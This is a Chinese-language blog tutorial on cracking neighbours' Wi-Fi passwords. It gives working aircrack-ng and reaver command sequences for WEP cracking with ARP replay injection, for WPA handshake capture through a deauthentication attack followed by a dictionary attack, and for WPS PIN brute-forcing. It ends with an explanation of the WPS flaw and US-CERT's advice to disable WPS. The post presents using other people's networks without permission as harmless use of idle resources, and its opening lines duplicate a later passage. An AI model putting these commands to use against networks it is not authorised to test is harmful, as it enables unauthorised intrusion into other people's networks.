iT猫itcat.cn用aircrack-ng加载一个字典，用这个字典跑出明文密码，若密码不在字典中，破解将失败。
WPS破解（pin破）过程：
reaver -i mon0 -b 40:16:xx:xx:xx:xx -a -S -s 4016xxxxxxxx.wpc -v
pin破原理也很简单，就是枚举所有pin值。但由于受制于无线路由器的硬件（内存、CPU），pin破的过程很可能非常缓慢。但由于pin值的确定性，这种破解方式获得密码的概率要高于WPA方式。
3种方式对比：
1. 若是WEP加密，毫无悬念，没什么破解的阻力。
破解难易程度：★
2. 若有WPS连接方式，只要功夫深，铁杵磨成针，最终还是能得到密码的。
破解难易程度：★★
3. 若是WPA加密，那就看运气了，抓包，跑字典，1234什么的密码就是撞大运了。
破解难易程度：★★★
虽说蹭网不是什么光彩的事，但如果一些网络资源没有使用而闲置着，利用起来也不是什么坏事。在中国目前这样的大环境下，只要遵守一定的道德底线，蹭网也算是社会资源的充分利用吧。
一些wi-fi破解论坛里教程什么的都很详尽，卖的所谓的“蹭网卡”的说明书也是step by step的，图文并茂，通俗易懂。其实他们都是在说，安装一个虚拟机，挂载含有破解程序的光盘镜像，启动起来虚拟机并运行其中的破解程序。个中过程，下面细细说来。
wi-fi信号是一种无线电，频率是2.4GHz，这相当于调频收音机最高频点(108MHz)的22倍，受其高频率的局限，其覆盖范围远没有调频广播的覆盖范围大，正常功率、日常环境下也就在100米之内。在半径100米的城市环境里，随着各种wi-fi设备的增加，总能搜索到一两个信号，下图是我在某地的搜索结果：
除CMCC等运营商的wi-fi外，其它都是加密的。加密方式分两种，一种是WEP，一种是WPA/WPA2。WEP加密是一种比较原始的加密方式，由于其自身的设计上的漏洞，只要信号强度足够，在1小时之内就能被完全破解，而破解的方式也有好几种，并能在无客户端连接的情况下注入破解。现在出售的无线路由器仍保留WEP加密方式的选项，很可能只是惯例，建议大家不要再使用这种加密方式。WPA加密是目前主流的加密方式，在无客户端并且关闭WPS等连接方式时，只要密码强度足够，被破解的概率还是很低的。
目前的wi-fi破解核心工具有两个，aircrack-ng与reaver-wps，前者是wi-fi破解工具的一个集合，上面说到的WEP与WPA加密方式的破解由它来实现，后者是WPS破解方式的（pin破）实现。下面用实例说明：
WEP破解过程：
airodump-ng mon0
airmon-ng用来虚拟一个无线网卡，这样可以将一张无线网卡同时做不同的用途。
airodump-ng –ivs –channel 9 –bssid 1C:7E:E5:xx:xx:xx -w aprcapture mon0
airodump 抓取指定的bssid AP的数据包，并保存在一个文件里。
aireplay-ng -3 -b 1C:7E:E5:xx:xx:xx -h 0C:60:76:xx:xx:xx mon0
这行命令是在airodump执行的同时执行，它以模式“3”（ARP请求代理）从源MAC地址向目的MAC地址发送ARP请求。目的就是获得AP返回的ARP响应。
aircrack-ng aprcapture-01.ivs
aircrack-ng分析捕获的ivs数据包，分析出密码。
WPA破解过程：
airodump-ng -c 9 –bssid xx:xx:xx:xx:xx:xx -w psk mon0
同样，需要airodump-ng抓包
aireplay-ng -0 1 -a F4:EC:xx:xx:xx:xx -c 5C:AC:xx:xx:xx:xx mon0
用aireplay的“0”模式（攻击模式，模拟目标客户端向AP发送重连请求，从而会使目标客户端断开连接），借以捕获握手包。
aircrack-ng -w pswd.dict -b xx:xx:xx:xx:xx:xx psk*.cap
用aircrack-ng加载一个字典，用这个字典跑出明文密码，若密码不在字典中，破解将各失败。
WPS破解（pin破）过程：
reaver -i mon0 -b 40:16:xx:xx:xx:xx -a -S -s 4016xxxxxxxx.wpc -v
pin破原理也很简单，就是枚举所有pin值。但由于受制于无线路由器的硬件（内存、CPU），pin破的过程很可能非常缓慢。但由于pin值的确定性，这种破解方式获得密码的概率要高于WPA方式。
关于PIN码破解原理官方资料
各位应该有注意到现在市面上的 Wi-Fi 路由器，出厂时其实便已预设启用 WPS 的加密保护，而这样的「好意」原本也算是相当安全的做法。但在信息安全专家 Stefan Viehbock 的研究中，发现此加密技术其实存在着十分重大的安全漏洞。他平均只需要两小时左右，便能以不断尝试密码组合的暴力（Brute Force）攻击，破解 WPS 密码保护的路由器。
这样看似蛮横的破解方式，关键在于利用 Viehbock 所找出的此技术的设计缺陷后，这个八码的 WPS 加密技术溃堤的速度将超乎想象。
采用 WPS 加密技术的 Wi-Fi 路由器，原在用户的每次密码尝试时，会分成「前半」四码和「后半」四码。前四码如果错误的话，那路由器就会直接送出「错误」讯息，而不会继续看后四码，意味着试到正确的前四码，最多只需要试 10000 组号码。一旦没有错误讯息，就表示前四码是正确的，而我们便可以开始尝试后四码 -- 后四码比前四码还要简单，因为八码中的最后一码是检查码，由前面七个数字产生，因此实际上要试的只有三个数字，共一千个组合。这使得原本最高应该可达一千万组的密码组合（七位数+检查码），瞬间缩减到仅剩 11,000 组，大幅降低破解所需的时间。
虽然也有部分路由器机种具备封锁（Lock Down）机制来避免类似的攻击，但可惜的是，这样的机制仍不足以及时阻止攻击的发生。（不过还是有让破解变得更为耗时啦！但完成破解的平均时间还是低于一天...）
美国计算机紧急应变团队（US-CERT）也针对这位资安专家的发现提出警告，建议拥有 Wi-Fi 无线路由器的用户，可以关闭产品的 WPS 加密选项先改采其他加密选项。Viehbock 也整理了出厂时便将 WPS 默认开启的品牌清单，知名厂牌 Buffalo、D-Link、Linksys 与 Netgear 等也都包含其中。目前为止各厂牌也尚未针对此问题释出韧体更新（也就是即使您用的是最新的韧体，目前也无法阻挡此类攻击），对此，Viehbock 也承诺将在未来释出此破解工具供参考，来协助厂商解决这样的加密技术问题。引用来源可以观看更详尽的相关数据。总之，大家还是赶快照专家建议的改用别种加密方式吧！（个人使用的话最好还锁是个 MAC 码之类的吧～）
谢谢赞赏
（微信扫一扫或长按识别）
